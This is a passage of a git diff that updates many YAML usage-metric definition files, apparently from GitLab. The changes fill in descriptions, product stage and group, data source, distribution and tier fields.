+++ b/config/metrics/counts_28d/20210216180327_action_monthly_active_users_ide_edit.yml
@@ -1,6 +1,6 @@
---
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_ide_edit
-description: Count unique edit actions when users used an IDE, no matter which one
+description: Number of unique users per month who edited a file from any web editor
product_section: dev
product_stage: create
product_group: group::editor
@@ -8,9 +8,11 @@ product_category: web_ide
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180330_g_edit_by_web_ide_monthly.yml b/config/metrics/counts_28d/20210216180330_g_edit_by_web_ide_monthly.yml
index f94ff9f026e..50ad1360d8d 100644
--- a/config/metrics/counts_28d/20210216180330_g_edit_by_web_ide_monthly.yml
+++ b/config/metrics/counts_28d/20210216180330_g_edit_by_web_ide_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.ide_edit.g_edit_by_web_ide_monthly
-description:
+description: Number of users editing a file from the Web IDE
product_section: dev
product_stage: create
product_group: group::editor
-product_category:
+product_category: web_ide
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180334_g_edit_by_sfe_monthly.yml b/config/metrics/counts_28d/20210216180334_g_edit_by_sfe_monthly.yml
index fca08b9f093..8c53d1a39c0 100644
--- a/config/metrics/counts_28d/20210216180334_g_edit_by_sfe_monthly.yml
+++ b/config/metrics/counts_28d/20210216180334_g_edit_by_sfe_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.ide_edit.g_edit_by_sfe_monthly
-description:
+description: Number of users editing a file from the single file editor
product_section: dev
product_stage: create
product_group: group::editor
-product_category:
+product_category: web_ide
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180338_g_edit_by_snippet_ide_monthly.yml b/config/metrics/counts_28d/20210216180338_g_edit_by_snippet_ide_monthly.yml
index 2cad76aa04c..d9735e35895 100644
--- a/config/metrics/counts_28d/20210216180338_g_edit_by_snippet_ide_monthly.yml
+++ b/config/metrics/counts_28d/20210216180338_g_edit_by_snippet_ide_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.ide_edit.g_edit_by_snippet_ide_monthly
-description:
+description: Count of monthly edits to a snippet
product_section: dev
product_stage: create
product_group: group::editor
-product_category:
+product_category: snippets
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180341_ide_edit_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216180341_ide_edit_total_unique_counts_monthly.yml
index aba5f8bc39a..176f0e3ffe1 100644
--- a/config/metrics/counts_28d/20210216180341_ide_edit_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216180341_ide_edit_total_unique_counts_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.ide_edit.ide_edit_total_unique_counts_monthly
-description:
+description: Count of unique users per month who edited a file from the Web IDE
product_section: dev
product_stage: create
product_group: group::editor
-product_category:
+product_category: web_ide
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml b/config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml
index e4af1478c64..15bf70a3adf 100644
--- a/config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml
+++ b/config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_design_management
-description:
+description: Monthly active users for design management
product_section: dev
-product_stage: create
-product_group: group::knowledge
+product_stage: plan
+product_group: group::product planning
product_category: design_management
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180747_action_monthly_active_users_wiki_repo.yml b/config/metrics/counts_28d/20210216180747_action_monthly_active_users_wiki_repo.yml
index 125c1de4714..a513a18d1b5 100644
--- a/config/metrics/counts_28d/20210216180747_action_monthly_active_users_wiki_repo.yml
+++ b/config/metrics/counts_28d/20210216180747_action_monthly_active_users_wiki_repo.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_wiki_repo
-description:
+description: Unique monthly active users of the Wiki
product_section: dev
product_stage: create
-product_group: group::knowledge
+product_group: group::editor
product_category: wiki
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180816_groups.yml b/config/metrics/counts_28d/20210216180816_groups.yml
index 90723ed78ab..61cf815eae7 100644
--- a/config/metrics/counts_28d/20210216180816_groups.yml
+++ b/config/metrics/counts_28d/20210216180816_groups.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.manage.groups
-description:
+description: Number of users who are group members for last 28 days
product_section: dev
-product_stage:
-product_group: group::manage
-product_category:
+product_stage: manage
+product_group: group::access
+product_category: subgroups
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180818_users_created.yml b/config/metrics/counts_28d/20210216180818_users_created.yml
index 81ed776a3c4..b0212fb3d01 100644
--- a/config/metrics/counts_28d/20210216180818_users_created.yml
+++ b/config/metrics/counts_28d/20210216180818_users_created.yml
@@ -2,16 +2,17 @@
key_path: usage_activity_by_stage_monthly.manage.users_created
description: Number of users created in the month
product_section: dev
-product_stage:
-product_group: group::manage
-product_category:
+product_stage: manage
+product_group: group::access
+product_category: users
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216180820_ldap_keys.yml b/config/metrics/counts_28d/20210216180820_ldap_keys.yml
deleted file mode 100644
index 0f64752fe96..00000000000
--- a/config/metrics/counts_28d/20210216180820_ldap_keys.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: usage_activity_by_stage_monthly.manage.ldap_keys
-description:
-product_section: dev
-product_stage:
-product_group: group::manage
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source:
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216180822_ldap_users.yml b/config/metrics/counts_28d/20210216180822_ldap_users.yml
deleted file mode 100644
index 6145b32959f..00000000000
--- a/config/metrics/counts_28d/20210216180822_ldap_users.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: usage_activity_by_stage_monthly.manage.ldap_users
-description:
-product_section: dev
-product_stage:
-product_group: group::manage
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source:
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216180955_projects_with_prometheus_alerts.yml b/config/metrics/counts_28d/20210216180955_projects_with_prometheus_alerts.yml
index b3a4a9e384d..116e7c1c816 100644
--- a/config/metrics/counts_28d/20210216180955_projects_with_prometheus_alerts.yml
+++ b/config/metrics/counts_28d/20210216180955_projects_with_prometheus_alerts.yml
@@ -6,7 +6,8 @@ product_stage:
product_group: group::monitor
product_category: metrics
value_type: number
-status: data_available
+status: removed
+milestone_removed: '14.0'
time_frame: 28d
data_source: database
distribution:
diff --git a/config/metrics/counts_28d/20210216181050_packages.yml b/config/metrics/counts_28d/20210216181050_packages.yml
index 4c6edc118aa..f364a4778e0 100644
--- a/config/metrics/counts_28d/20210216181050_packages.yml
+++ b/config/metrics/counts_28d/20210216181050_packages.yml
@@ -1,16 +1,18 @@
---
key_path: counts_monthly.packages
-description: Monthly count of Packages
+description: A monthly count of packages published to the registry
product_section: ops
-product_stage:
+product_stage: package
product_group: group::package
-product_category:
+product_category: package registry
value_type: number
status: data_available
time_frame: 28d
data_source: database
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181057_projects_with_packages.yml b/config/metrics/counts_28d/20210216181057_projects_with_packages.yml
index 3fe9c7fde65..5460afbc134 100644
--- a/config/metrics/counts_28d/20210216181057_projects_with_packages.yml
+++ b/config/metrics/counts_28d/20210216181057_projects_with_packages.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.package.projects_with_packages
-description: Incident confidential status changed event
+description: The total number of projects in a given month with at least one package
product_section: ops
product_stage: package
product_group: group::package
-product_category:
+product_category: package registry
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml b/config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml
index e828cefc644..77ae29b729a 100644
--- a/config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml
+++ b/config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml
@@ -9,7 +9,10 @@ value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
-instrumentation_class: CountUsersUsingApproveQuickActionMetric
+instrumentation_class: RedisHLLMetric
+options:
+ events:
+ - i_quickactions_approve
distribution:
- ce
- ee
diff --git a/config/metrics/counts_28d/20210216183627_omniauth_providers.yml b/config/metrics/counts_28d/20210216183627_omniauth_providers.yml
index 74f20cbe5c4..fe7f0a33d9b 100644
--- a/config/metrics/counts_28d/20210216183627_omniauth_providers.yml
+++ b/config/metrics/counts_28d/20210216183627_omniauth_providers.yml
@@ -1,16 +1,17 @@
---
key_path: usage_activity_by_stage_monthly.manage.omniauth_providers
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Number of unique user logins using an OmniAuth provider
+product_section: dev
+product_stage: manage
+product_group: group::access
+product_category: authentication_and_authorization
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183629_two-factor.yml b/config/metrics/counts_28d/20210216183629_two-factor.yml
index 3b15b3e0eb7..273589b53a2 100644
--- a/config/metrics/counts_28d/20210216183629_two-factor.yml
+++ b/config/metrics/counts_28d/20210216183629_two-factor.yml
@@ -1,16 +1,17 @@
---
key_path: usage_activity_by_stage_monthly.manage.user_auth_by_provider.two-factor
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Number of unique user logins using two factor authentication
+product_section: dev
+product_stage: manage
+product_group: group::access
+product_category: authentication_and_authorization
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183631_two-factor-via-u2f-device.yml b/config/metrics/counts_28d/20210216183631_two-factor-via-u2f-device.yml
index 08cbb3437d1..05b8c96646d 100644
--- a/config/metrics/counts_28d/20210216183631_two-factor-via-u2f-device.yml
+++ b/config/metrics/counts_28d/20210216183631_two-factor-via-u2f-device.yml
@@ -1,16 +1,17 @@
---
key_path: usage_activity_by_stage_monthly.manage.user_auth_by_provider.two-factor-via-u2f-device
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Number of unique user logins using two factor via a U2F device
+product_section: dev
+product_stage: manage
+product_group: group::access
+product_category: authentication_and_authorization
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183633_two-factor-via-webauthn-device.yml b/config/metrics/counts_28d/20210216183633_two-factor-via-webauthn-device.yml
index 1a9251bcf16..a386ae4fea4 100644
--- a/config/metrics/counts_28d/20210216183633_two-factor-via-webauthn-device.yml
+++ b/config/metrics/counts_28d/20210216183633_two-factor-via-webauthn-device.yml
@@ -1,16 +1,17 @@
---
key_path: usage_activity_by_stage_monthly.manage.user_auth_by_provider.two-factor-via-webauthn-device
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Number of unique user logins using two factor via a WebAuthn device
+product_section: dev
+product_stage: manage
+product_group: group::access
+product_category: authentication_and_authorization
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183634_standard.yml b/config/metrics/counts_28d/20210216183634_standard.yml
index 8afb1b2321b..12f33070c85 100644
--- a/config/metrics/counts_28d/20210216183634_standard.yml
+++ b/config/metrics/counts_28d/20210216183634_standard.yml
@@ -1,16 +1,17 @@
---
key_path: usage_activity_by_stage_monthly.manage.user_auth_by_provider.standard
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Number of unique user logins using password authentication
+product_section: dev
+product_stage: manage
+product_group: group::access
+product_category: authentication_and_authorization
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183636_google_oauth2.yml b/config/metrics/counts_28d/20210216183636_google_oauth2.yml
index 1ee1a70aaac..e7cbc3718bb 100644
--- a/config/metrics/counts_28d/20210216183636_google_oauth2.yml
+++ b/config/metrics/counts_28d/20210216183636_google_oauth2.yml
@@ -1,16 +1,17 @@
---
key_path: usage_activity_by_stage_monthly.manage.user_auth_by_provider.google_oauth2
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Number of unique user logins using Google OAuth authentication
+product_section: dev
+product_stage: manage
+product_group: group::access
+product_category: authentication_and_authorization
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183638_unique_users_all_imports.yml b/config/metrics/counts_28d/20210216183638_unique_users_all_imports.yml
index 6651dfa0146..670b8d555d8 100644
--- a/config/metrics/counts_28d/20210216183638_unique_users_all_imports.yml
+++ b/config/metrics/counts_28d/20210216183638_unique_users_all_imports.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.manage.unique_users_all_imports
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
+description: Number of users from projects imported
+product_section: dev
+product_stage: manage
+product_group: group::import
product_category: ''
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183644_gitlab_project.yml b/config/metrics/counts_28d/20210216183644_gitlab_project.yml
index 166be23baac..03c2d993a6c 100644
--- a/config/metrics/counts_28d/20210216183644_gitlab_project.yml
+++ b/config/metrics/counts_28d/20210216183644_gitlab_project.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.manage.project_imports.gitlab_project
description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
+product_section: dev
+product_stage: manage
+product_group: group::import
product_category: ''
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183646_gitlab.yml b/config/metrics/counts_28d/20210216183646_gitlab.yml
index 25bb788cc4f..a3e1f9d35b0 100644
--- a/config/metrics/counts_28d/20210216183646_gitlab.yml
+++ b/config/metrics/counts_28d/20210216183646_gitlab.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.manage.project_imports.gitlab
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
+description: Count of projects imported from GitLab using Project Export/Import
+product_section: dev
+product_stage: manage
+product_group: group::import
product_category: ''
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183648_github.yml b/config/metrics/counts_28d/20210216183648_github.yml
index 6f79b49a37f..124ae696d68 100644
--- a/config/metrics/counts_28d/20210216183648_github.yml
+++ b/config/metrics/counts_28d/20210216183648_github.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.manage.project_imports.github
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of projects imported from GitHub
+product_section: dev
+product_stage: manage
+product_group: group::import
+product_category:
value_type: number
status: data_available
-time_frame: 28d
-data_source:
+time_frame: all
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183650_bitbucket.yml b/config/metrics/counts_28d/20210216183650_bitbucket.yml
index fc31e325278..9d8b9374e3f 100644
--- a/config/metrics/counts_28d/20210216183650_bitbucket.yml
+++ b/config/metrics/counts_28d/20210216183650_bitbucket.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.manage.project_imports.bitbucket
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of projects imported from Bitbucket
+product_section: dev
+product_stage: manage
+product_group: group::import
+product_category:
value_type: number
status: data_available
-time_frame: 28d
-data_source:
+time_frame: all
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183652_bitbucket_server.yml b/config/metrics/counts_28d/20210216183652_bitbucket_server.yml
index fd0b64933b1..e84adc3aba8 100644
--- a/config/metrics/counts_28d/20210216183652_bitbucket_server.yml
+++ b/config/metrics/counts_28d/20210216183652_bitbucket_server.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.manage.project_imports.bitbucket_server
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of projects imported from Bitbucket Server
+product_section: dev
+product_stage: manage
+product_group: group::import
+product_category:
value_type: number
status: data_available
-time_frame: 28d
-data_source:
+time_frame: all
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183653_gitea.yml b/config/metrics/counts_28d/20210216183653_gitea.yml
index a09fdc9d610..46087d194da 100644
--- a/config/metrics/counts_28d/20210216183653_gitea.yml
+++ b/config/metrics/counts_28d/20210216183653_gitea.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.manage.project_imports.gitea
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of projects imported from Gitea
+product_section: dev
+product_stage: manage
+product_group: group::import
+product_category:
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183655_git.yml b/config/metrics/counts_28d/20210216183655_git.yml
index b17900f534d..e0f3a1da4e1 100644
--- a/config/metrics/counts_28d/20210216183655_git.yml
+++ b/config/metrics/counts_28d/20210216183655_git.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.manage.project_imports.git
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
+description: Count of projects imported from Git
+product_section: dev
+product_stage: manage
+product_group: group::import
product_category: ''
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183657_manifest.yml b/config/metrics/counts_28d/20210216183657_manifest.yml
index 49fcefb3a45..3bc9b639a59 100644
--- a/config/metrics/counts_28d/20210216183657_manifest.yml
+++ b/config/metrics/counts_28d/20210216183657_manifest.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.manage.project_imports.manifest
description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
+product_section: dev
+product_stage: manage
+product_group: group::import
product_category: ''
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183659_gitlab_migration.yml b/config/metrics/counts_28d/20210216183659_gitlab_migration.yml
index 700fe4b4881..1304ea7b166 100644
--- a/config/metrics/counts_28d/20210216183659_gitlab_migration.yml
+++ b/config/metrics/counts_28d/20210216183659_gitlab_migration.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.manage.project_imports.gitlab_migration
description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
+product_section: dev
+product_stage: manage
+product_group: group::import
product_category: ''
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183709_group_import.yml b/config/metrics/counts_28d/20210216183709_group_import.yml
index 9116a242811..eca3eada4d4 100644
--- a/config/metrics/counts_28d/20210216183709_group_import.yml
+++ b/config/metrics/counts_28d/20210216183709_group_import.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.manage.group_imports.group_import
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
+description: Number of group import states
+product_section: dev
+product_stage: manage
+product_group: group::import
product_category: ''
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
-- ce
+ - ce
+ - ee
tier:
-- free
-skip_validation: true
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_28d/20210216183720_bitbucket.yml b/config/metrics/counts_28d/20210216183720_bitbucket.yml
index e05c607f202..b3b34c95800 100644
--- a/config/metrics/counts_28d/20210216183720_bitbucket.yml
+++ b/config/metrics/counts_28d/20210216183720_bitbucket.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.manage.projects_imported.bitbucket
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Count of projects imported from Bitbucket
+product_section: dev
+product_stage: manage
+product_group: group::import
+product_category:
value_type: number
status: deprecated
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183722_bitbucket_server.yml b/config/metrics/counts_28d/20210216183722_bitbucket_server.yml
index c7f2a18f1b1..1a8ace962e0 100644
--- a/config/metrics/counts_28d/20210216183722_bitbucket_server.yml
+++ b/config/metrics/counts_28d/20210216183722_bitbucket_server.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.manage.projects_imported.bitbucket_server
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
+description: Count of projects imported from Bitbucket Server
+product_section: dev
+product_stage: manage
+product_group: group::import
product_category: ''
value_type: number
status: deprecated
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216183737_groups_imported.yml b/config/metrics/counts_28d/20210216183737_groups_imported.yml
index 3b668e6cac6..10ffa325a11 100644
--- a/config/metrics/counts_28d/20210216183737_groups_imported.yml
+++ b/config/metrics/counts_28d/20210216183737_groups_imported.yml
@@ -1,9 +1,9 @@
---
key_path: usage_activity_by_stage_monthly.manage.groups_imported
description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
+product_section: dev
+product_stage: manage
+product_group: group::import
product_category: ''
value_type: number
status: deprecated
diff --git a/config/metrics/counts_28d/20210216183828_dependency_scanning_scans.yml b/config/metrics/counts_28d/20210216183828_dependency_scanning_scans.yml
deleted file mode 100644
index f4eb1e39947..00000000000
--- a/config/metrics/counts_28d/20210216183828_dependency_scanning_scans.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: usage_activity_by_stage_monthly.secure.dependency_scanning_scans
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: 28d
-data_source:
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216184024_g_edit_by_sse_monthly.yml b/config/metrics/counts_28d/20210216184024_g_edit_by_sse_monthly.yml
index ee06f117ff8..77ba0847a62 100644
--- a/config/metrics/counts_28d/20210216184024_g_edit_by_sse_monthly.yml
+++ b/config/metrics/counts_28d/20210216184024_g_edit_by_sse_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.ide_edit.g_edit_by_sse_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Number of user editing files using the Static Site Editor
+product_section: dev
+product_stage: create
+product_group: group::editor
+product_category: static_site_editor
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184255_i_snippets_show_monthly.yml b/config/metrics/counts_28d/20210216184255_i_snippets_show_monthly.yml
index e9d67155907..53590df359c 100644
--- a/config/metrics/counts_28d/20210216184255_i_snippets_show_monthly.yml
+++ b/config/metrics/counts_28d/20210216184255_i_snippets_show_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.snippets.i_snippets_show_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Monthly number of users viewing snippets
+product_section: dev
+product_stage: create
+product_group: group::editor
+product_category: snippets
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184303_o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly.yml b/config/metrics/counts_28d/20210216184303_o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly.yml
index b649192d659..8e8f8b9b65b 100644
--- a/config/metrics/counts_28d/20210216184303_o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly.yml
+++ b/config/metrics/counts_28d/20210216184303_o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Monthly unique user count doing commits which contains the CI config file
+product_section: ops
+product_stage: verify
+product_group: group::pipeline authoring
+product_category: pipeline_authoring
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml
index 541d619a6e7..1dcc98ad975 100644
--- a/config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml
@@ -1,16 +1,20 @@
---
key_path: redis_hll_counters.ci_templates.ci_templates_total_unique_counts_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: Total count of pipelines runs
+product_section: ops
+product_stage: configure
+product_group: group::configure
+product_category: infrastructure_as_code
value_type: number
-status: data_available
+status: broken
+repair_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332466
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_28d/20210216184806_i_package_composer_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184806_i_package_composer_deploy_token_monthly.yml
index 5d25977e938..7f2f93f909b 100644
--- a/config/metrics/counts_28d/20210216184806_i_package_composer_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184806_i_package_composer_deploy_token_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.deploy_token_packages.i_package_composer_deploy_token_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of Composer packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216184810_i_package_conan_deploy_token_monthly.yml b/config/metrics/counts_28d/20210216184810_i_package_conan_deploy_token_monthly.yml
index 5f86c64cda6..6a2bd47f725 100644
--- a/config/metrics/counts_28d/20210216184810_i_package_conan_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210216184810_i_package_conan_deploy_token_monthly.yml
@@ -1,16 +1,18 @@
---
key_path: redis_hll_counters.deploy_token_packages.i_package_conan_deploy_token_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
+description: A monthly count of Conan packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
+- ee
- ce
tier:
